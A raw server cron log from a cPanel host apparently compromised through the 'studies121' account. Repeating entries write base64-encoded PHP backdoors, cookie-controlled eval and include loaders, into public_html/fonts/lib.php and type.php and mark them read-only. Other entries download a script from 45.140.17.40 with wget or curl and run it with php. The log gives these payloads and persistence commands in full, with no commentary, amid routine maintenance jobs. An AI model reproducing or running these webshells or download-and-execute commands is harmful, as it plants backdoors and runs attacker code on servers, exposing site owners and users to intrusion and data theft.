Sep 10 06:09:01 ip-184-168-122-23 CROND[14839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:10:01 ip-184-168-122-23 CROND[14986]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 06:10:01 ip-184-168-122-23 CROND[14987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:10:01 ip-184-168-122-23 CROND[14990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:10:01 ip-184-168-122-23 CROND[14991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:10:01 ip-184-168-122-23 CROND[14989]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:10:01 ip-184-168-122-23 CROND[14992]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:10:01 ip-184-168-122-23 CROND[14988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:10:01 ip-184-168-122-23 CROND[14993]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:11:01 ip-184-168-122-23 CROND[15120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:11:01 ip-184-168-122-23 CROND[15122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:11:01 ip-184-168-122-23 CROND[15121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:11:01 ip-184-168-122-23 CROND[15123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:12:01 ip-184-168-122-23 CROND[15223]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:12:01 ip-184-168-122-23 CROND[15225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:12:01 ip-184-168-122-23 CROND[15226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:12:01 ip-184-168-122-23 CROND[15227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:12:01 ip-184-168-122-23 CROND[15228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:13:01 ip-184-168-122-23 CROND[15422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:13:01 ip-184-168-122-23 CROND[15423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:13:01 ip-184-168-122-23 CROND[15424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:13:01 ip-184-168-122-23 CROND[15425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:14:01 ip-184-168-122-23 CROND[15550]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:14:01 ip-184-168-122-23 CROND[15552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:14:01 ip-184-168-122-23 CROND[15555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:14:01 ip-184-168-122-23 CROND[15553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:14:01 ip-184-168-122-23 CROND[15556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:15:02 ip-184-168-122-23 CROND[15702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:15:02 ip-184-168-122-23 CROND[15704]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 06:15:02 ip-184-168-122-23 CROND[15705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:15:02 ip-184-168-122-23 CROND[15706]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:15:02 ip-184-168-122-23 CROND[15710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:15:02 ip-184-168-122-23 CROND[15708]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 10 06:15:02 ip-184-168-122-23 CROND[15707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:15:02 ip-184-168-122-23 CROND[15709]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:16:01 ip-184-168-122-23 CROND[15838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:16:01 ip-184-168-122-23 CROND[15839]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:16:01 ip-184-168-122-23 CROND[15841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:16:01 ip-184-168-122-23 CROND[15845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:16:01 ip-184-168-122-23 CROND[15844]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 06:16:01 ip-184-168-122-23 CROND[15847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:17:01 ip-184-168-122-23 CROND[15980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:17:01 ip-184-168-122-23 CROND[15981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:17:01 ip-184-168-122-23 CROND[15982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:17:01 ip-184-168-122-23 CROND[15985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:18:01 ip-184-168-122-23 CROND[16186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:18:01 ip-184-168-122-23 CROND[16188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:18:01 ip-184-168-122-23 CROND[16189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:18:01 ip-184-168-122-23 CROND[16190]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:18:01 ip-184-168-122-23 CROND[16191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:19:01 ip-184-168-122-23 CROND[16310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:19:01 ip-184-168-122-23 CROND[16313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:19:01 ip-184-168-122-23 CROND[16314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:19:01 ip-184-168-122-23 CROND[16312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:20:01 ip-184-168-122-23 CROND[16457]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:20:01 ip-184-168-122-23 CROND[16459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:20:01 ip-184-168-122-23 CROND[16461]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:20:01 ip-184-168-122-23 CROND[16462]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 06:20:01 ip-184-168-122-23 CROND[16466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:20:01 ip-184-168-122-23 CROND[16464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:20:01 ip-184-168-122-23 CROND[16465]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:20:01 ip-184-168-122-23 CROND[16463]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 06:20:01 ip-184-168-122-23 CROND[16468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:21:01 ip-184-168-122-23 CROND[16608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:21:01 ip-184-168-122-23 CROND[16611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:21:01 ip-184-168-122-23 CROND[16612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
